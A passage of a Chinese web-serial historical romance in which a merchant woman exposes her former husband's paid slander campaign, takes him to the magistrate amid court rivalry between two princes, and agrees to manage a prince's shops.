“更有甚者,说您在侯府时因着孙三常年不在府中,时常将那野男人带回府邸行苟合之事,荒谬至极!” 莺儿在外头听了许久,如今也不觉得生气,反倒由不得赞叹孙协兆的编排能力。 顾皎皎嗤笑出声:“倒是编的有头有尾,也算是有些本事。” 她与孙协兆相处不久,并不了解他内里如何。见多了他因为银子撒泼打滚,还以为只是个不上进的脓包。 如今看来脑子还算灵活,故事编的活灵活现,抓准了常人猎奇的心理,也算有些本事。 能攀上沈云祉倒也不算稀奇。 莺儿:“姑娘,如今他说了些什么也以查清楚了,该如何给他教训?” 顾皎皎轻笑,招手将人唤到身侧:“你且去后厨知会一声,两个时辰后我要在城门布施,叫他们多备些白粥,包子之类果腹的食物。” 莺儿不解:“姑娘,这般时候了您怎么还有功夫布施?” 此刻第一楼仍聚集着不愿散开的乞丐,他们如幽魂穿梭在人群之中,寻着机会便开口小声议论,贼眉鼠眼地观察着一旁行人的反应。 若是有人好奇上前询问,便故作为难的将早已烂熟于心谣言散播出去。 待行人露出难以置信疑惑着半信半疑的神情,便要好生添油加醋一番,直到其深信不疑。 顾皎皎合上账簿,眼底几分轻蔑:“自然是以其人之道还治其人之身。靠着那些微薄的银子拉拢人心,实在是自不量力。” “是,奴婢这就去办!”莺儿面露惊喜,兴致勃勃地小跑而去。 另一边,杜玉荣在去往驿站的路途中,也听到了这些闲言碎语。孙协兆与顾皎皎和离的内情他略知一二,自然不会被这些没由来的闲话扰了心智,但这些寻常百姓如何定夺便未可知了。 想着,他不由得担心起顾皎皎的处境。 虽然她总是一副临危不乱,不卑不亢的模样,但终究是一介女流,事关清誉难免不会乱了阵脚。 杜玉荣心中难安,挑起车帘吩咐随从:“你不去跟着去驿站了,先去第一楼瞧瞧顾姑娘如何,若是有难处,必得出面相助。” 沈云祉已等在书房,一边翻阅古籍,一边品着上好的雪顶含翠,软塌的矮几上已摆着棋盘棋奁,似乎等候已久。 “参见小王爷。”杜玉荣躬身行礼,随即取出腰间信封,“这便是您要的吏部官员职责明细。” 待沈云祉接过,他又忍不住多问一句:“此案虽非秘不可宣,但若叫有心之人得知,难免不会小题大做。不知小王爷所为何事?” 他自然指得是平王一脉。贪污案中他以失败告终,受皇上斥责,怀恨在心自是必然。 “凭他说去便是。”沈云祉接过案宗翻看,满不在乎道,“贪污案未结,本王须得弄清这层层结构,才能逐一击破。” 杜玉荣很是意外,不由得压低声音:“小王爷既以摆脱嫌疑,如何还要牵扯其中?” 瞧着沈云祉神情认真,他才恍然大悟:“难怪皇上并未下令彻查此事,莫非也是小王爷您的意思?” 沈云祉毫不避讳地点了点头,坦然地说出心中所想:“本王原本以为这不过是一桩寻常不过的贪污,并未放在心上。” “直到孙协兆将此事告诉平王,平王又不由分说地捅到皇上跟前,本王才发觉此事错综复杂。” 杜玉荣眉头紧锁,轻叹一声:“此事我倒听了些只言片语,似乎牵扯了朝中不少人,但究竟是何许人也又不得而知。” “这便是本王想继续调查的缘由。”沈云祉面色凝重,沉声开口,“这怕这幕后之人正在下一盘大棋,从底层到朝堂都安插自己的人,可不是容易之事,但若是成了,便可权倾朝野,为所欲为。” “小王爷深谋远虑,我倒是不曾想到这层。”杜玉荣垂下眸子,不敢细想。 如今皇上病重,太子之位迟迟未定,确实给了此人可乘之机。 气氛忽地凝重起来,沈云祉却大笑一声,拍了拍他的肩膀:“倒也不必如此深沉,有了这案宗已然清晰了许多。” 说着,他将案宗放到一旁,打开棋奁兴致颇浓:“本王之言叫玉荣愁眉苦脸,今日便让你先下一子。” 杜玉荣尚且记挂着顾皎皎,婉言拒绝:“今日怕是要扰了小王爷的兴致,来时途中忽缝要事,须得我亲自前去。” 沈云祉抬眸意味不明地瞧他一眼,淡淡道:“叫本王猜猜,定不会府中之事吧?” “小王爷明察秋毫。”杜玉荣并未否认,嘴角笑意含着几分羞意。 沈云祉当即心中了然,也失了下棋的兴致。 顿了顿,他明知故问:“难道是顾姑娘?” 杜玉荣眸中闪过一瞬意外,轻轻点头:“是了。途中听到些闲言碎语,有些挂心顾姑娘如今处境。” “我虽与顾姑娘不过几面之缘,却觉得十分投缘,心中早已将她当做好友。” 似乎是担心沈云祉误会,他又解释了几句。 沈云祉笑而不语,把玩着手中棋子。 屋内香炉燃着百合静心香气味淡雅,沁人心脾,素有安神之效,但今日不知怎地,忽然有些刺鼻。 沈云祉未能静心,将手中棋子扔进棋奁,状似无意道:“本王无意耽搁玉荣时辰,只是有些好奇外头传了些什么闲言碎语。” 早些时候两人分别是还一切如常,不过几个时辰怎就生了事端。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十六章 是非之地 杜玉荣禁不住轻叹一声:“来时匆忙,听得并不真切,似乎是有关和离之事。” 沈云祉来了兴致:“都已是陈芝麻烂谷子的事了,当日也沸沸扬扬,而今还能议论什么?” “我已着人去打听,想来就快要有消息了。”杜玉荣叹惋一声。 沈云祉思忖片刻:“本王在驿站也是闲着,不若一同去瞧瞧?” 他虽似在询问,语气神情却是不容置喙,杜玉荣自然也拒绝不得。 于他而言此事不算蹊跷。牵扯安阳侯府的往事必然只有孙协兆这般孜孜不倦,又想着早些时候他在顾府受了打,便更是大差不差。 杜玉荣面上一瞬为难,随后侧身指引:“如此也好。小王爷请。” 第一楼。 布施用物已准备妥当,由店中小二尽数捆绑在马车之上。 顾皎皎换了身素色衣衫,褪去发髻上大半珠翠,只留了几朵溶化和一只玉色簪子。 出发城门前,她刻意去了一趟不远处的茶室。 孙协兆仍在二楼凝神观望,连顾皎皎出现在身后都并无发觉。 “孙三少爷,又见面了。”她自顾自坐下,为自己斟一杯茶水。 茶叶有扑鼻清香,却是寻常易得的铁观音,看来这安阳侯府当真是揭不开锅了,连外头的面子也顾不上了。 突兀地声音吓得孙协兆一激灵,转身却见顾皎皎就坐在桌前。 他扯出一抹邪笑,一瘸一拐地坐在对面:“怎么?终于是按捺不住前来求饶了?” “早与你说过本少爷心善,若是你现在准备一万两银票送到安阳侯府,我便大发慈悲解了坊间传言。” 顾皎皎垂眸轻笑:“公子若是愿意写下欠条,多少银票我都能送到安阳侯府去。” 听她这般狂妄的口吻,孙协兆气不打一处来,但为了银两仍是耐着性子:“你若不肯,我就叫众人瞧我这一身伤,叫你和你藏在府里的野男人如过街老鼠无地自容!” 顾皎皎对上他的眸子不屑一顾:“证据呢?你在外头污蔑我红杏出墙,如何证明?” “原来是来试探口风的。”孙协兆得意起来,不可一世,“我这双眼睛瞧得真切,就是最好的证据。” 顾皎皎点了点头,对着自以为是的答案很是满意。 “茶水的银钱已经付过了,告辞。” 她起身折返第一楼,带着莺儿和几个丫鬟小厮往城门赶去。 第一楼老板要在城内大行善举之事很快传开,方圆几里的乞丐都蜂拥而至。 宽阔的地界被摆上五张宽桌,依次摆放着碗碟、白粥、馒头、肉包、还有不计其数的铜板。 见如此场面,乞丐们眼神发光,禁不住议论起来。 “这顾姑娘当真是心善一人,不过一场施粥竟准备的如此丰盛,怕也是要花不少银子。” “今日坊间听闻她心思阴毒刻薄,早在侯府就暗渡陈仓,竟瞧不出半点痕迹。” “扑风捉影的东西你也信?当日和离的场面谁未见过。” 人群嘈杂,其中混迹着几个蒙头盖脸的身影,便是收了碎银带头在京城胡言乱语的几人。 他们被布施吸引,却又因助纣为虐心虚不已,只得以此法子掩耳盗铃,只盼着蒙混过关。 眼见着几人靠近,莺儿与顾皎皎对视一眼,随机上前接过乞丐的缺了一角的瓷碗。 莺儿攥着汤勺,却迟迟没有盛粥:“瞧着你这碗口碎裂,可要给你换一个新的?” 乞丐心中一惊,压低声音搪塞:“多谢姑娘,这陶碗跟着我许久了,早已不能割舍。” 莺儿轻笑,终于兑了一勺热粥,却在递过去时忽然惊呼:“这粥里撒了些杏仁碎,不知你吃不吃得。” 乞丐自知早已被认出,只得撤下遮挡的破布,哀怨道:“姑娘,我也是收了钱办事,并非有意与第一楼树敌啊!” “我这样的人衣不蔽体,饭不果腹的日子过得久了,如何能拒绝碎银和吃食呢?” 说着,他深叹一口,自暴自弃:“如若姑娘不想施粥于我,我便认了。” 顾皎皎在此时走来,一言不发地将十个铜板放进他的手心。 见他疑惑,方出声解释:“这样的话,还望到了衙门也能如实道来。” 乞丐顿时慌了,忙将铜板扔回桌台:“顾姑娘,我不敢应承。那可是安阳侯府,又受小云南王庇佑,岂是我这样的人能得罪的啊!” 顾皎皎拾起铜板再度递到他的眼前:“既然我敢说出这样的话,便能保留平安。” 她眼神坚定,耐心劝导。不论安阳侯如此上不得台面,但终究有多年的名声作保,寻常百姓忌惮再是正常不过。 乞丐望着她手中的一串铜板,犹豫不决。 沈云祉下了马车就瞧见这场面,不由得站定步子想看看顾皎皎如何应对。 杜玉荣正欲上前,却被抬手阻拦。 另一侧,孙协兆瞧见沈云祉的身影,不由得坐立难安。若是小云南王插手,他怕是一点胜算都没有。 “不行,我不能坐以待毙!”孙协兆心急如焚,掏出最后一点碎银,“你去找几个人来砸了顾皎皎这摊子,越快越好!” 随从有些犹豫,却还是依言办事。 那头乞丐还未来得及做出抉择,人群中便沸腾起来,不多时就涌出几个高大的乞儿,高举破棍直超桌案而来。 莺儿大吃一惊,连忙将顾皎皎护在身后。 “一个红杏出墙的不贞之人,怕是这东西也是脏的吧!” “谁知晓她不是为了堵住悠悠之口,在东西里下毒呢!” 那些人一哄而上,片刻功夫就将桌案弄得混乱不清。粥桶翻到在地,其他吃食也都散落一地。 有人急着抓住一口热粮,有人卖力将长桌推到,一瞬间便乱作一团。 顾皎皎连连后退,厉声叫莺儿前去报官。 沈云祉再是无法袖手旁观,吩咐带来的侍卫上前镇压疏散。 奈何终究是寡不敌众,这些孑然一身的流浪之人并无敬畏之心,虽驱散了些,却仍有不服之辈。 孙协兆见沈云祉出手,连坐上马车,离开这是非之地。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十七章 毫无反击之力 慌乱中顾皎皎跌入沈云祉怀中,四目相对间,眸中的慌乱倒平息了几分。 杜玉荣赶来便瞧见此景,不由得轻咳一声:“顾姑娘,你没事吧?” 顾皎皎反应过来,连忙站到一旁,理了理凌乱的发丝,拍去裙角的尘土。 “无碍。”她摇了摇头,“倒是你们金枝玉叶,还是站远些得好,莫要受伤。” 杜玉荣颇有几分无奈:“这些人是冲你来的,你该躲闪才是,竟还在担心我们。” 顾皎皎眼眸暗淡,面上是不屈与不屑:“莺儿已经去报官了,既然他愿意这样低劣的手段,便也只能对簿公堂了。” 很快,莺儿便带着一众官兵赶来。 “衙门的人来了!” 人群中不知何人高喊一声,方才还在闹事的乞儿顿时如过街老鼠一般四散而去,独留下一地狼藉。 好在官兵经验老道,眼疾手快地抓住了几个为首的刺头。 衙门。 公堂之上,散播谣言和闹事的乞丐被五花大绑跪在堂下,胆子小些的已泪流满面,不住哭诉。 “青天大老爷!我就是收了些银钱才在街市胡言乱语,其中真假一概不知啊!” 府尹一拍惊堂木,沉声斥责:“扰了京城安宁还敢狡辩推责!” 沈云祉爱看热闹,此刻就坐在公堂之上。即便是身着素色衣衫,但那熠熠生彩的料子实在叫人挪不开眼。 府尹自然也是如此,一时间如坐针毡,格外正义凛然。 在他眼中,小云南王与杜大人都是随顾皎皎来的,孰轻孰重已不必在心中定夺。 乞丐叫喊得凄惨,顾皎皎无意为难,便走到堂上跪下:“大人,民女今日状告的并非这些无辜之人,而是在后教唆之人。” 府尹下意识瞧了沈云祉一眼,才沉声询问:“教唆之人是谁?” 顾皎皎脊背挺直,坚定开口:“安阳侯府孙协兆。” 府尹瞪大眸子,难以置信地看向一旁面不改色的沈云祉。孙三与小云南王交好并非秘密。她这般直言状告岂非不将小王爷放在眼里? 沈云祉注意到府尹眼神,轻笑开口:“你是京中府尹,一直瞧着本王做什么?既然事关安阳侯府,叫人抓过来审问便是。” 府尹收回目光,了然于心,侧眸让衙中府兵将孙协兆请了过来。 他自是不愿,一路上吵吵嚷嚷,却奈何身上有伤,毫无反击之力。 安阳侯府如今只余下孙老夫人等一众妇孺,亦是手无缚鸡之力,只能眼睁睁地看着府兵将人带走。 公堂之上,孙协兆被官兵按着跪在地上,侮辱至极。 看着一旁目光坚定的顾皎皎,开口便是谩骂:“顾皎皎,你这个红杏出墙的毒妇,自己做了丑事,竟勾结官府治我的罪!” 他急得环视四周,终于瞧见沈云祉,正欲开口求助,却被投来的冰冷眼神堵得说不出话。 府尹亦被他这不分青红皂白的说辞激怒,重拍惊堂木历声警告:“孙公子,官衙之内说话可要注意身份。本官尚未言说一字,怎就变成你口中的贪官污吏了?” 孙协兆涨红了脸,却仍嘴上不饶人:“我在府中安心养伤,你们却强硬地将我抓来此处,若非受了教唆,何故如此?” 转而他又看向身侧女子:“是你对不对?你不满自己的丑事被捅破,便送了钱银贿赂官员,倒打一耙!” 顾皎皎却置若罔闻,对着府尹开口:“大人您瞧,孙公子仍是不知悔改,甚至随口污蔑毫无干系的人,岂非撒谎成性?” 孙协兆激动起来,想要挣脱束缚却是无济于事:“你再胡说些什么?那日在顾府都是我亲眼所见,你还想抵赖?” “你假意答应给银子,却暗中指使你那早就勾搭上的野男人躲在屏风之后,见我放下防备,就将我打成如此模样!” 他身上的伤不疑有假,围在堂外的百姓不由得交头接耳,窃窃私语。 沈云祉在一旁坐着,听得此言神色一顿。 野男人? 这样的称谓倒是不多见,听来有些有趣。 杜玉荣不禁蹙眉,疑惑的看向顾皎皎。他自然是不信她不贞不洁,但十分在意这位男子是何身份。 顾皎皎只轻笑一声,抬手叫莺儿拿出早已准备好的笔墨纸砚推到孙协兆的面前:“孙公子既然如此笃定,就将奸夫的样貌描绘一遍,随后我与你们一同去府中查找。” 孙协兆挪开眸子,冷哼一声:“那日我被困在麻袋里,如何看得清长相。再者说,你这般坦荡,怕是早已打点妥当,将人藏起来了吧?” 顾皎皎勾起唇角,侧身看他:“既然孙公子那日被蒙了面容,又如何得知是我藏在府中的野男人?又如何得知是我在安阳侯府就勾搭上的?” 不等孙协兆开口狡辩,顾皎皎一脸委屈的朝着堂上哭诉:“大人,孙公子平白无故只靠着一张唇舌辱没我的名声,民女实在是冤枉!” 围观的群众纷纷点头,开始低声指责。 府尹亦是点头,惊堂木一敲:“既然孙公子拿不出证据,只能先关在衙内,以待发落了。” 眼见着府兵靠近,孙协兆慌乱无比,情急之下高声喊叫:“你们不许动我,我可是平王的乘龙快婿,出了何事谁能担待得起?” 堂上众人皆是怔在原地,就连沈云祉都蹙起眉头。 徐青青还未被认回,平王明面上并无子嗣,又怎么能忽然多出女婿。 当真是走投无路,竟然走出这样一步险棋。 孙协兆喘着粗气,见无人上前才松了口气,继续开口威胁:“你们得罪了我就是得罪了平王,若是嫌命长,尽管来抓我便是。” 府尹脑中一片混乱,悄悄瞄了一眼面色阴沉的沈云祉,额角渗出虚汗。 京中谁人不知小云南王与平王分庭抗礼,水火不容。 这孙协兆前些日子还是沈云祉身侧的客卿,如今怎地忽然成了平王女婿了? 再者平王何曾有过子嗣?早些日子倒是传过有一位郡主,而后又不了了之,难道传言当真? 事情忽地扑朔迷离起来,府尹紧紧捏住惊堂木不知如何开口。 小云南王上前坐在堂上,得罪哪一个都是性命堪忧。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十八章 不敢轻举妄动 顾皎皎跪在一旁忘了起身,一脸惊恐得看着孙协兆歇斯底里。 她倒是早就知晓他与平王勾结,却也实在意外他如此不顾一切的当着小云南王的面公之于众,堪比打了沈云祉的脸。 莺儿候在一旁察言观色,见众人目光都聚集在孙协兆身上,便上前将顾皎皎扶到一边。 “姑娘,这孙三莫不是疯了,小王爷还在此处坐着呢。”莺儿压低声音,忍不住开口。 顾皎皎只沉默摇头,示意她莫要多言。 因着搬出了平王名号,无人敢再靠近孙协兆。 “肃静!”府尹终于平定了思绪,一拍惊堂木,转而看向摊在地上双眸猩红的男子,“孙公子,平王这些年并无子嗣,你从何能是王爷的女婿呢?” 孙协兆已然回不了头了,愈发口无遮拦:“传闻都是真的,平王有一位还未认祖归宗的女儿,名唤徐青青,与我已有婚约。” 兹事体大,府尹不敢耽搁,当即差人前往平王府一探究竟。 至于孙协兆,虽身份未明,但到底身上有伤,也叫人扶着坐到一旁。 偌大的府衙一时间气氛凝重,寂静无比,连带着围观之人的声响也没了半分。 沈云祉面无表情地坐着,端一杯茶盏动作慵懒地拨动着杯中漂浮的茶叶。 他一言不发,周身却散发着寒气。 另一边,捕快快马加鞭赶到平王府,简明扼要说明来意。 平王眉头紧锁,心头涌起一股无名火:“他当真在大庭广众说了这些话?” “回王爷的话,这些话都是孙公子亲口所言。因着与您有关,府尹不敢轻举妄动,这才前来求证。” 捕快将堂上情景严明,颔首等着平王开口。 碍于颜面他自然说不出什么重话,但就这么轻易认下孙协兆又着实难办。 况且,承认了女婿,认回徐青青便成了板上钉钉之事,这叫王妃如何应允? 平王左右为难,只得模棱两可:“你且先回去,本王准备片刻就去接人。” 捕快顿了顿,低声提醒:“王爷,您还是快些得好。小王爷也在那边等着呢。” “沈……小云南王也在?”平王意外出声,而后故作镇静,“本王知晓了,事发突然,本王需得准备一番。” 捕快走后,平王妃撕开温和的面具,当即冷哼一声:“王爷预备如何?认下这个廉价女婿,再将那廉价女儿一并接回王府?” 平王亦是烦闷,面对枕边人的冷声刻薄更是心烦意乱。 “够了!”斥责脱口而出,语气更是不厌其烦,“本王想事态如此发展吗?他一顿献计将才让本王在皇上面前失了信任,还未来得及清算,竟又不声不响地惹出事端。” 平王妃噤声,一脸错愕地咀嚼着平王厌弃的态度,心中怒火更甚。她守了王府这些年,可不能叫来历不明的女儿沾染半分。 “你不去衙门又能如何?只当他是得了失心疯。” 平王妃不以为然,眼神阴狠。 孙协兆她只见过寥寥几面,如今想来是何面容已然不真切。但瞧安阳侯府的境况,又怎知心中是否惦记着王府的银钱。 平王却是摇头:“沈云祉也在衙门,此事断不能叫他抓住把柄。” “孙协兆从前是他的人,若是本王当真弃之不顾,难免不会又捅出去什么,再向沈云祉表忠心。” 平王妃嗤笑一声:“这又何故?沈云祉可不是个心思单纯的,这样摇摆不定的人他不会再信。” 平王却是满面愁容地摇了摇头:“但若是以本王为引,未必不会再用一次。” “方才那捕快说话你也都听见了。孙协兆在大庭广众之下亲口所言,甚至替王府认下了传言中郡主。” “若只是被一些寻常百姓听去也就罢了,可沈云祉也在现场。若是本王冷淡以待,他若到皇上面前参一本,又该如何?” 此言虽为猜测,却又不失道理。 平王妃心中权衡,自然知晓利弊。可就这样轻易的认回徐青青她仍是心中有气。 看出她的不悦,平王将人揽进怀中,柔声劝慰:“王妃,本王知晓你心中多有不愿,但眼下之计为有大大方方的认下,方能展现王府的风度,也不叫人诟病。” “至于徐青青,日后再议也不为过。既然是多了个郡主又如何,只寻在于传闻种也未不可。” 平王妃的面色这才缓和,侧身环住平王腰身,姿态万千。 她轻轻靠在王爷耳边,道:“我又寻了一副新方子,已经着人熬制,王爷早些回来便是。” “那是自然。” 平王面上闪过一瞬苦涩,随机带着侍从离去。 府衙。 见捕快孤身归来,孙协兆如临大敌,恐慌不已。他不敢相信平王就这样放弃了他。 直到捕快回禀王府情形,他才松了口气。 手中的茶盏已凉至三分,全然没了茶香扑鼻,沈云祉将其伸手放在一旁,眼眸深沉看着孙协兆如惊弓之鸟。 杜玉荣倾身:“小王爷以为,平王今日会来吗?” 沈云祉抬手打理着并不凌乱的衣衫,漫不经心道:“他忌惮本王,不会留下如此绝佳的弹劾机会。” “当日的传言沸沸扬扬,今日由孙协兆这么一提保不准又兴起到何时,他不认便是不要自己的名声。” “再者,传到皇上耳中便是血缘亲薄,冷血无情。那个位置,一味的苛待并非两计。” 顾皎皎与莺儿缩在角落一言不发,只观望着场上情形。 一旁两人的交谈她听得清晰,心中虽波澜不惊,但竟有几分期待孙协兆如愿。 若是顺利攀上平王府这个高枝,怕是他再也不必来第一楼闹事,回回都恬不知耻的寻着令人费解的由头索要钱银,实在叫人生厌。 正午已至,围观的百姓不减反增,其中不乏唏嘘之语。 字字句句落在孙协兆的耳中,就好似将他架在火炉上炙烤。 沈云祉等得倦了,起身走到惶恐不安的孙协兆面前。 “本王倒要恭喜你夙愿得成。”他的嘴角勾起笑意,却叫人不寒而栗,“来日置办喜宴,可要叫上本王啊。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十九章 也替你高兴 孙协兆欲言又止,不敢直视沈云祉的眸子。 “哭丧着脸做什么?你寻得好去处本王也替你高兴不是。” 沈云祉眸色一沉,用手中金丝折扇挑起他的下颚。笑意温和却好似藏了利刃。 “多谢小王爷。” 孙协兆看着他透着寒光的眸子,心下觉得自己已被千刀万剐了数次。额角冷汗直流,禁不住吞咽一口。 空气中多了几分凉气,刺眼的日光披在身上不似酷暑的煎熬。 府衙的牌匾隐在屋檐之下,折射出一片清凉阴影。 平王被李嬷嬷扶着走下马车,从温和的阳光种走向背光的公堂之上。 “平王到! 一声高喊拨开了里三层外三层的百姓,露出只通一人的小道。 小道尽头,是沈云祉投来的意味不明的眼神。 平王面色一沉,缓步走向正堂:“小王爷这是何故?” 男人着一身墨色长衫,胸前绣金丝纹理,腰间别着虎纹香囊。 这香囊不是凡物,乃先帝在时所赐,他与当今圣上各执一个。 沈云祉注意到他腰间的一抹明黄,勾起唇角轻笑一声:“平王终是来了,你这女婿可是等了你许久。” 平王这才嫌恶地扫了孙协兆一眼,语气有几分不耐烦:“多谢小王爷照看了,人本王就先带走了。” 两大王爷齐聚一堂,府尹坐在堂上静观其变。 听着平王的口气,孙协兆的身份算是坐实了,只是不想王府内的郡主竟是那样上不得台面的身世。 沈云祉不动声色地挡住两人去路,一双眸子直勾勾地看着与自己齐平的男人。 “今日倒是难得,却不知孙公子是平王的乘龙快婿。不知这喜宴预备何时置办,本王也好去沾沾喜气。” 杜玉荣见状也走了过来,先是躬身行礼,而后笑着附和:“在下也在此恭贺平王。” “只是倒是还不曾见过令爱,不知可有幸一同观礼?” 顾皎皎立于红柱之后险些笑出声。 这两人的阴阳怪气之词将平王架在火上,一时间骑虎难下。让他原本计划的模糊搪塞付之东流。 只听平王咬牙切齿:“难为两位这样关心府内家事,若来日好事将近,自然不会漏了两位。” 沈云祉心满意足,却未打算放过两人:“此事了了,还有一事须得王爷做主。” 听得如此谦逊之词,平王忽地警惕起来,唯恐身侧有埋伏。 沈云祉却是自顾自地说下去:“今日闹到衙门,便是因为你这女婿污蔑第一楼的顾姑娘红杏出墙,妄图毁了她的清誉。” “空口无凭便罢了,奈何孙公子收买乞丐大肆宣扬,顾姑娘不堪其辱这才报官。” “不仅如此,他还派人大闹布施,当时场面可混乱得很。好在本王与玉荣在场,官兵也来得及时,这若有人受伤可就不好说了。” 平王沉默听着,脸色越发阴沉,投向身侧的眼神像是要将男人千刀万剐。 孙协兆做贼心虚,自是不敢抬头,只在一旁能眼观鼻鼻观口,佯装不曾注意到平王目光。 “既然无人受伤,便是皆大欢喜。”平王无可奈何,只能硬着头皮出声维护,“听小王爷的口吻,顾姑娘一事似乎也已真相大白,那又何故抓着不放?” 沈云祉收起笑意,借着身姿挺拔垂眸睨视,不可一世:“王爷的意思,是准许你的女婿仰仗着你的名号,无恶不作吗?” “你!”平王气急败坏,欲言又止,“你休要胡言乱语,他今日所作所为本王并不知情,如何就是仰仗本王?” 说罢,他一掌狠狠打在孙协兆的脸上:“你这混帐,谁准许你打着平王府的名号在外为所欲为?” 字句从牙缝里挤出,怒意却从眼眸中溢出。 这话看似训诫,其是威胁提点。 来此之前,他竟没料想到孙协兆竟然如此不自量力,明知顾皎皎与沈云祉来往密切,竟也敢凑上去。 自己丢了面子便是,还连累平王府落人口实。 孙协兆不敢忤逆,结结实实接住了这一巴掌,一个踉跄险些摔倒在地。 他声音颤抖,大气不敢出:“王爷恕罪,不会再有下次了。” 沈云祉冷眼旁观:“王爷明事理,那又该如何补偿顾姑娘呢?” 冷不丁地被提起,顾皎皎心中咯噔一下,眨巴着一双好看的眸子不知所措。 原以为此事就这样过去了,想着孙协兆不再闹事便就万事大吉了,怎地如今越发错综复杂,甚至牵扯了平王? 这堂上三人她可每一个得罪得起。 沈云祉的不依不饶叫平王终于注意到角落的顾皎皎。 不耐烦的眼神投了过去,却被女子清冷的容颜惊艳一瞬,只可惜是个商贾之女。 他眼神考究将顾皎皎打量一番,一副高高在上的模样:“那请问顾姑娘想要些什么呢?” 此话一处,众人一齐像顾皎皎看去。 她只得从红柱后款步走出,朝三位大人福身行礼:“正如王爷方才所言,虽然孙公子所作所为抵赖不得,却也好在我并未损失什么。” “这般情形,我怎好开口要东西呢?” 见她姿态谦逊,平王态度平缓些许,正要开口,却听女子薄唇亲启。 “方才听闻平王妃好事将近,那不如府中喜宴就在第一楼置办?”顾皎皎眼冒精光,从容不迫,“并非我自卖自夸,想来王爷也曾听过第一楼的名号。令爱的喜宴若是交由我一手操办,自然不会叫王府失了面子。” 语毕,她满眼期待的等着平王的回应。 沈云祉在一旁忍俊不禁。本是想替她出口恶气,却不想这般时候她还能想着第一楼的生意。 如此倒也未辜负他看中她的能力许久。 杜玉荣亦是笑意盈盈,眸中隐隐几分宠溺。 平王一时无言,很是意外她竟是这般诉求。虽算不得过分,但他从未动过要办喜宴的心思,不过是多此一举。 沈云祉开口推波助澜:“这倒是个不错的法子,各取所需,皆大欢喜。” 他眼中笑意甚浓,确实一副看笑话的模样。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十章 只管去做 平王干笑一声,冷声应下:“若有那日,本王自会交给第一楼,顾姑娘放心吧。” “那我先在此谢过王爷了。”顾姑娘福身,“届时一定会给您一个前所未有的折扣。” 平王自是不在意这些,只瞪了一旁讪讪的孙协兆一眼,甩袖离开。 孙协兆见状连忙一瘸一拐跟了上去,不敢久留。 两人背影远去,围观的百姓也散去大半。 府尹松了口气,忙从堂上下来向沈云祉行礼:“参见小王爷,今日多亏小王爷坐镇。” 沈云祉最是嫌恶谄媚之姿,并不愿理会。 他转身看向顾皎皎:“可还满意?” 直白的眼神叫人避闪不开,两人目光交汇,竟恍惚一瞬大脑空白。 这副皮囊实在是完美的令人失语。 顾皎皎回过神:“多谢小王爷出手相助,只是不知道这桩生意能不能做得成。” 她不是傻子,自然瞧得出方才平王面色有异。 徐青青的身世当日也是京中一段谈资,而后了无音讯想必也有王府手笔。 这桩桩件件都只代表平王暂时不想认回这个女儿。 顾皎皎轻叹一声:“既然已相安无事,那我便先回顾府了。” 城门布施闹到衙门之事动静不小,连带着毫无干系的乞丐都不敢靠近第一楼半分,生怕伤及无辜。 倒是不费吹灰之力将孙协兆费尽心思的谣言打碎得干干净净。 刚下马车,莺儿先一步跑进府邸,不多时端出一个火盆。 “姑娘,每每遇上安阳侯府就沾得一身晦气。”她动作干净利索,“进府前先跨个火盆去去身上霉气。” 顾皎皎无奈轻笑,只得依她。 “日后安阳侯府的人若再来闹事,你就叫小厮将人赶走。”顾皎皎心力憔悴,再没心思陪他们玩这些你来我往的无聊把戏。 莺儿眼眸一亮,欣喜不已:“姑娘,您终于是开窍了。本就不必对他们那般仁慈,全然是为自己添堵。” 顾皎皎点头,捏了捏她的小脸,宠溺道:“便是你最机灵了。” 沈云祉来时就瞧见这主仆情深的画面,陌生却温馨。 “那本王呢?” 眸中思绪隐去,他大步走上前,意气风发。 顾皎皎福身行礼,不似往日防备疏离:“小王爷,怎么不回驿站休憩。” 沈云祉目光落在火盆,答非所问:“本王想着也该去去晦气。” 他神色认真地大步跨过,漆黑的双眸映出点点火星,好似满天星辰。 这样孩子气一面倒是让人忍不住想要亲近。 顾皎皎叫人引进正厅,丫鬟端上茶水。 “小王爷,多谢你今日替我解围。”她接过食案上的杯盏,双手呈到沈云祉眼前,“这是新进的碧螺春,想来合您的口味。” “嗅着茶香也觉不俗,难为你你这般费心。”沈云祉抿了一口,挑眉称赞,“只是不知你这感激是否发自内心。” 顾皎皎心中疑惑,却是满面真诚地将感激之情再度诉说。 这一路小云南王帮衬了多少她心知肚明,不过他既孤身一人前来,自然不会是来喝茶的。 沈云祉瞧着她的诚恳与坚定,不自觉勾起唇角,调侃道:“不过本王可不要那些糕点。玉荣总会带一份,已然腻了。” 顾皎皎一时噎住,面上几分尴尬,只能笑笑以作掩饰。 “小王爷见多识广,不知想要我为您做些什么呢?” 她在心底腹诽,早该知晓小云南王不是等闲之辈,真是应了那句无事不登三宝殿。 “本王喜欢和聪明人说话。”沈云祉满意点头,讲两盏茶水推到一边,“本王早已与你言明,很是看中你的营生能力。近来的桩桩件件你也确实没让本王失望。” “本王知晓你心中对本王有所戒备,兴许也顾及孙协兆,但如今一切平坦,本王依旧想与你合作。” 顾皎皎认真听着,心中已有答案。 “小王爷多番相邀,若在拒绝便是我不懂事了。”她慎重开口,“但还望小王爷能答应我几个条件。” 沈云祉眉眼舒展,心情颇佳:“你直说便是,只要本王能做到,都能允你。” 顾皎皎看他一眼,轻吐一口浊气,滔滔不绝:“一则,不要随意干涉我的决定。望小王爷交到我手上的不止这些商铺的契约,还有不掺算计的信任。” “二则,铺子盈利您六我四。既然由我来打理,小王爷自然要给实实在在的银子才能换来尽心尽力,此乃人之常情。” “三则,您在前我在后。若是遇到要紧之事,我自不会瞒着;若是铺子内的寻常小事,还望能叫我一人决定,若是您有不同见解,尽可商讨。” “不知小王爷意下如何?” 她一口气将想到的说了个明白,口干舌燥地将一杯茶水一饮而尽。 沈云祉摩挲着指尖扳指,平静如水的表情叫人瞧不出情绪。 “不过是些小事,本王允了。”他思索片刻,点头应允,却又觉得不妥,“若只有四成利,你当真愿意?” 顾皎皎点头:“四成足矣。不过我只打理铺子,若是牵扯到与外商谈,便只能爱莫能助了。” 她细细盘点过沈云祉名下的产业,与她如今的铺子相交不多,但京城的商圈不过如此,免不得会遇见几位熟人。 